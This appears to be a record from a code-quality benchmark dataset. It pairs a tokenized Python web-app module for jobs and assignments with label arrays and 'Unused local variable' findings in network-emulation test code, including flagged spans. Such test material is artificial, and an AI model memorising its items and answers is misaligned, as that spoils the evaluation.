"\\u", "components_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "set\\u", "method_", "=_", "self_", "._", "set\\u", "method_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "-------------", "_", "\\u\\u\\uNL\\u\\u\\u_", "tablename_", "=_", "\"", "work", "\\u", "job", "\\u", "type", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "defin", "e\\u", "table_", "(_", "tablename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Field_", "(_", "\"", "name", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label_", "=_", "T_", "(_", "\"", "Tit", "le", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "requires_", "=_", "IS", "\\u", "NOT", "\\u", "EMPTY_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s3", "\\u", "comments_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "*_", "s3", "\\u", "meta", "\\u", "fields_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CRUD", " ", "strings_", "\\u\\u\\uNL\\u\\u\\u_", "crud", "\\u", "strings_", "[_", "tablename_", "]_", "=_", "Storage_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "label", "\\u", "create_", "=_", "T_", "(_", "\"", "Creat", "e", " ", "Jo", "b", " ", "Type", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title", "\\u", "display_", "=_", "T_", "(_", "\"", "Jo", "b", " ", "Type", " ", "Det", "ail", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title", "\\u", "list_", "=_", "T_", "(_", "\"", "Jo", "b", " ", "Type", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title", "\\u", "update_", "=_", "T_", "(_", "\"", "Edit", " ", "Jo", "b", " ", "Type", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label", "\\u", "list", "\\u", "button_", "=_", "T_", "(_", "\"", "List", " ", "Jo", "b", " ", "Type", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "record", "\\u", "created_", "=_", "T_", "(_", "\"", "Jo", "b", " ", "Type", " ", "adde", "d", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "record", "\\u", "modified_", "=_", "T_", "(_", "\"", "Jo", "b", " ", "Type", " ", "update", "d", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "record", "\\u", "deleted_", "=_", "T_", "(_", "\"", "Jo", "b", " ", "Type", " ", "delete", "d", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "list", "\\u", "empty_", "=_", "T_", "(_", "\"", "No", " ", "Jo", "b", " ", "Type", "s", " ", "currentl", "y", " ", "register", "ed", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Reu", "sab", "le", " ", "field_", "\\u\\u\\uNL\\u\\u\\u_", "represent_", "=_", "S", "3", "Represent", "_", "(_", "lookup_", "=_", "tablename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job", "\\u", "type", "\\u", "id_", "=_", "S", "3", "Reu", "sab", "le", "Field_", "(_", "\"", "job", "\\u", "type", "\\u", "id", "\"_", ",_", "\"", "reference", " ", "%", "s", "\"_", "%_", "tablename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label_", "=_", "T_", "(_", "\"", "Jo", "b", " ", "Type", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "represent_", "=_", "represent_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "requires_", "=_", "IS", "\\u", "EMP", "TY", "\\u", "OR_", "(_", "IS", "\\u", "ONE", "\\u", "OF_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "db_", ",_", "\"", "work", "\\u", "job", "\\u", "type", ".", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "represent_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sortby", "_", "=_", "\"", "name", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "comment_", "=_", "S", "3", "Pop", "up", "Link_", "(_", "c_", "=_", "\"", "work", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "\"", "job", "\\u", "type", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tooltip_", "=_", "T_", "(_", "\"", "Creat", "e", " ", "a", " ", "new", " ", "job", " ", "type", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "-------------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Jo", "b", " ", "Prior", "ities_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "job", "\\u", "priority_", "=_", "{_", "1_", ":_", "T_", "(_", "\"", "Ur", "gent", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "T_", "(_", "\"", "Hig", "h", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "3_", ":_", "T_", "(_", "\"", "Normal", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "4_", ":_", "T_", "(_", "\"", "Lo", "w", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "-------------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Jo", "b", " ", "Status", "es_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "job", "\\u", "status_", "=_", "(_", "(_", "\"", "OPEN", "\"_", ",_", "T_", "(_", "\"", "Open", "\"_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "START", "ED", "\"_", ",_", "T_", "(_", "\"", "Start", "ed", "\"_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "ON", "HOLD", "\"_", ",_", "T_", "(_", "\"", "On", " ", "Hold", "\"_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "COMPLETED", "\"_", ",_", "T_", "(_", "\"", "Complete", "d", "\"_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "CANCELLED", "\"_", ",_", "T_", "(_", "\"", "Cancel", "led", "\"_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "-------------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Job_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "tablename_", "=_", "\"", "work", "\\u", "job", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "defin", "e\\u", "table_", "(_", "tablename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "job", "\\u", "type", "\\u", "id_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Field_", "(_", "\"", "name", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label_", "=_", "T_", "(_", "\"", "Tit", "le", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "requires_", "=_", "IS", "\\u", "NOT", "\\u", "EMPTY_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Field_", "(_", "\"", "deta", "il", "s", "\"_", ",_", "\"", "text", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label_", "=_", "T_", "(_", "\"", "Det", "ail", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "represent_", "=_", "s3", "\\u", "text", "\\u", "represent_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Field_", "(_", "\"", "priorit", "y", "\"_", ",_", "\"", "integ", "er", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "3_", ",_", "#", " ", "normal", " ", "priority_", "\\u\\u\\uNL\\u\\u\\u_", "requires_", "=_", "IS", "\\u", "IN", "\\u", "SET_", "(_", "job", "\\u", "priority_", ",_", "zero_", "=_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "represent_", "=_", "S", "3", "Represent", "_", "(_", "options_", "=_", "job", "\\u", "priority_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Field_", "(_", "\"", "status", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "\"", "OPEN", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "requires_", "=_", "IS", "\\u", "IN", "\\u", "SET_", "(_", "job", "\\u", "status_", ",_", "zero_", "=_", "None_", ",_", "sort_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "represent_", "=_", "S", "3", "Represent", "_", "(_", "options_", "=_", "dict_", "(_", "job", "\\u", "status_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "super", "\\u", "link_", "(_", "\"", "site", "\\u", "id", "\"_", ",_", "\"", "org", "\\u", "site", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label_", "=_", "T_", "(_", "\"", "Place", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "orderby_", "=_", "\"", "org", "\\u", "site", ".", "name", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "readable_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "writable_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "represent_", "=_", "self_", "._", "org", "\\u", "site", "\\u", "represent_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s3", "\\u", "datetime_", "(_", "\"", "start", "\\u", "date", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Field_", "(_", "\"", "duration", "\"_", ",_", "\"", "double", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label_", "=_", "T_", "(_", "\"", "Hour", "s", " ", "Plann", "ed", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "requires_", "=_", "IS", "\\u", "EMP", "TY", "\\u", "OR_", "(_", "IS", "\\u", "FLOAT", "\\u", "IN", "\\u", "RANGE_", "(_", "0_", ",_", "None_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Field_", "(_", "\"", "worker", "s", "\\u", "min", "\"_", ",_", "\"", "integ", "er", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label_", "=_", "T_", "(_", "\"", "Help", "ers", " ", "need", "ed", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "requires_", "=_", "IS", "\\u", "INT", "\\u", "IN", "\\u", "RANGE_", "(_", "1_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "@", "todo", ":", " ", "onv", "alid", "ation", " ", "to", " ", "check", " ", "max", ">=", "min_", "\\u\\u\\uNL\\u\\u\\u_", "Field_", "(_", "\"", "worker", "s", "\\u", "max", "\"_", ",_", "\"", "integ", "er", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label_", "=_", "T_", "(_", "\"", "Help", "ers", " ", "need", "ed", " ", "(", "max", ")\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "requires_", "=_", "IS", "\\u", "EMP", "TY", "\\u", "OR_", "(_", "IS", "\\u", "INT", "\\u", "IN", "\\u", "RANGE_", "(_", "1_", ",_", "None_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Field_", "(_", "\"", "worker", "s", "\\u", "assign", "ed", "\"_", ",_", "\"", "integ", "er", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label_", "=_", "T_", "(_", "\"", "Help", "ers", " ", "assign", "ed", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "requires_", "=_", "IS", "\\u", "INT", "\\u", "IN", "\\u", "RANGE_", "(_", "0_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "writable_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s3", "\\u", "comments_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "*_", "s3", "\\u", "meta", "\\u", "fields_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CRUD", " ", "strings_", "\\u\\u\\uNL\\u\\u\\u_", "crud", "\\u", "strings_", "[_", "tablename_", "]_", "=_", "Storage_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "label", "\\u", "create_", "=_", "T_", "(_", "\"", "Creat", "e", " ", "Jo", "b", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title", "\\u", "display_", "=_", "T_", "(_", "\"", "Jo", "b", " ", "Det", "ail", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title", "\\u", "list_", "=_", "T_", "(_", "\"", "Jo", "bs", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title", "\\u", "update_", "=_", "T_", "(_", "\"", "Edit", " ", "Jo", "b", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label", "\\u", "list", "\\u", "button_", "=_", "T_", "(_", "\"", "List", " ", "Jo", "bs", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "record", "\\u", "created_", "=_", "T_", "(_", "\"", "Jo", "b", " ", "adde", "d", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "record", "\\u", "modified_", "=_", "T_", "(_", "\"", "Jo", "b", " ", "update", "d", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "record", "\\u", "deleted_", "=_", "T_", "(_", "\"", "Jo", "b", " ", "delete", "d", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "list", "\\u", "empty_", "=_", "T_", "(_", "\"", "No", " ", "Jo", "bs", " ", "currentl", "y", " ", "register", "ed", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Filter", " ", "widgets_", "\\u\\u\\uNL\\u\\u\\u_", "filter", "\\u", "widgets_", "=_", "[_", "S", "3", "Text", "Filter_", "(_", "[_", "\"", "name", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "deta", "il", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "job", "\\u", "type", "\\u", "id", "$", "name", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "site", "\\u", "id", "$", "name", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label_", "=_", "T_", "(_", "\"", "Sear", "ch", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "S", "3", "Optio", "ns", "Filter_", "(_", "\"", "job", "\\u", "type", "\\u", "id", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "S", "3", "Optio", "ns", "Filter_", "(_", "\"", "status", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "S", "3", "Optio", "ns", "Filter_", "(_", "\"", "site", "\\u", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hidden_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "S", "3", "Date", "Filter_", "(_", "\"", "start", "\\u", "date", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hidden_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "List", " ", "fields_", "\\u\\u\\uNL\\u\\u\\u_", "list", "\\u", "fields_", "=_", "[_", "\"", "priorit", "y", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "job", "\\u", "type", "\\u", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "name", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "site", "\\u", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "start", "\\u", "date", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "duration", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "status", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "worker", "s", "\\u", "min", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "worker", "s", "\\u", "assign", "ed", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Table", " ", "configuration_", "\\u\\u\\uNL\\u\\u\\u_", "configure_", "(_", "tablename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "filter", "\\u", "widgets_", "=_", "filter", "\\u", "widgets_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "list", "\\u", "fields_", "=_", "list", "\\u", "fields_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "list", "\\u", "layout_", "=_", "work", "\\u", "Jo", "b", "List", "Layout_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Custom", " ", "methods_", "\\u\\u\\uNL\\u\\u\\u_", "set\\u", "method_", "(_", "\"", "work", "\"_", ",_", "\"", "job", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "\"", "signup", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "action_", "=_", "work", "\\u", "Sign", "Up_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "set\\u", "method_", "(_", "\"", "work", "\"_", ",_", "\"", "job", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "\"", "cancel", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "action_", "=_", "work", "\\u", "Sign", "Up_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Components_", "\\u\\u\\uNL\\u\\u\\u_", "add", "\\u", "components_", "(_", "tablename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "work", "\\u", "assignment_", "=_", "\"", "job", "\\u", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Reu", "sab", "le", " ", "field_", "\\u\\u\\uNL\\u\\u\\u_", "represent_", "=_", "S", "3", "Represent", "_", "(_", "lookup_", "=_", "tablename_", ",_", "show", "\\u", "link_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job", "\\u", "id_", "=_", "S", "3", "Reu", "sab", "le", "Field_", "(_", "\"", "job", "\\u", "id", "\"_", ",_", "\"", "reference", " ", "%", "s", "\"_", "%_", "tablename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label_", "=_", "T_", "(_", "\"", "Jo", "b", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "represent_", "=_", "represent_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "requires_", "=_", "IS", "\\u", "ONE", "\\u", "OF_", "(_", "db_", ",_", "\"", "work", "\\u", "job", ".", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "represent_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sortby", "_", "=_", "\"", "name", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "comment_", "=_", "S", "3", "Pop", "up", "Link_", "(_", "c_", "=_", "\"", "work", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "\"", "job", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tooltip_", "=_", "T_", "(_", "\"", "Creat", "e", " ", "a", " ", "new", " ", "job", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "-------------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Link", "table", " ", "person", "<=", ">", "job_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "auth_", "=_", "current_", "._", "auth_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tablename_", "=_", "\"", "work", "\\u", "assign", "ment", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "defin", "e\\u", "table_", "(_", "tablename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "job", "\\u", "id_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "pr", "\\u", "person", "\\u", "id_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "*_", "s3", "\\u", "meta", "\\u", "fields_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CRUD", " ", "strings_", "\\u\\u\\uNL\\u\\u\\u_", "crud", "\\u", "strings_", "[_", "tablename_", "]_", "=_", "Storage_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "label", "\\u", "create_", "=_", "T_", "(_", "\"", "Creat", "e", " ", "Assign", "ment", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title", "\\u", "display_", "=_", "T_", "(_", "\"", "Assign", "ment", " ", "Det", "ail", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title", "\\u", "list_", "=_", "T_", "(_", "\"", "Assign", "ment", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title", "\\u", "update_", "=_", "T_", "(_", "\"", "Edit", " ", "Assign", "ment", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "label", "\\u", "list", "\\u", "button_", "=_", "T_", "(_", "\"", "List", " ", "Assign", "ment", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "record", "\\u", "created_", "=_", "T_", "(_", "\"", "Assign", "ment", " ", "adde", "d", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "record", "\\u", "modified_", "=_", "T_", "(_", "\"", "Assign", "ment", " ", "update", "d", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "record", "\\u", "deleted_", "=_", "T_", "(_", "\"", "Assign", "ment", " ", "delete", "d", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "list", "\\u", "empty_", "=_", "T_", "(_", "\"", "No", " ", "Assign", "ment", "s", " ", "currentl", "y", " ", "register", "ed", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Table", " ", "configuration_", "\\u\\u\\uNL\\u\\u\\u_", "configure_", "(_", "tablename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "onac", "cept", "_", "=_", "self_", "._", "assign", "ment", "\\u", "onac", "cept", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ondelete_", "=_", "self_", "._", "assign", "ment", "\\u", "ondelete_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "onv", "alid", "ation_", "=_", "self_", "._", "assign", "ment", "\\u", "onv", "alid", "ation_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "-------------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pass", " ", "names", " ", "back", " ", "to", " ", "global", " ", "scope", " ", "(", "s3", ".*)", "_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "{_", "\"", "work", "\\u", "job", "\\u", "id", "\"_", ":_", "job", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
coreemu/core/daemon/examples/netns/wlanemanetests.py
[ { "content": " def run(self):\n ''' This is the primary method used for running this command. '''\n self.open()\n status = self.id.wait()\n r = self.parse()\n self.cleanup()\n return r", "metadata": "root.Cmd.run", "header": "['class', 'Cmd', '(', 'object', ')', ':', '___EOS___']", "index": 125 }, { "content": " def run(self):\n ''' Run the server command, then the client command, then\n kill the server '''\n self.open() # server\n self.client_open() # client\n status = self.client_id.wait()\n self.node.cmdresult(['killall', self.args[0]]) # stop the server\n r = self.parse()\n self.cleanup()\n return r", "metadata": "root.ClientServerCmd.run", "header": "['class', 'ClientServerCmd', '(', 'Cmd', ')', ':', '___EOS___']", "index": 163 }, { "content": " def cleanup(self):\n ''' Close the Popen channels.'''\n self.stdin.close()\n self.out.close()\n self.err.close()\n tmp = self.id.wait() # non-zero mgen exit status OK", "metadata": "root.MgenCmd.cleanup", "header": "['class', 'MgenCmd', '(', 'ClientServerCmd', ')', ':', '___EOS___']", "index": 297 } ]
[ { "span": "status ", "start_line": 128, "start_column": 8, "end_line": 128, "end_column": 14 }, { "span": "status ", "start_line": 168, "start_column": 8, "end_line": 168, "end_column": 14 }, { "span": "tmp ", "start_line": 302, "start_column": 8, "end_line": 302, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Cmd_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Thi", "s", " ", "is", " ", "the", " ", "primary", " ", "method", " ", "used", " ", "for", " ", "runn", "ing", " ", "this", " ", "command", ".", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "open_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "self_", "._", "id_", "._", "wait_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "self_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cleanup_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Client", "Server", "Cmd_", "(_", "Cmd_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Run", " ", "the", " ", "server", " ", "command", ",", " ", 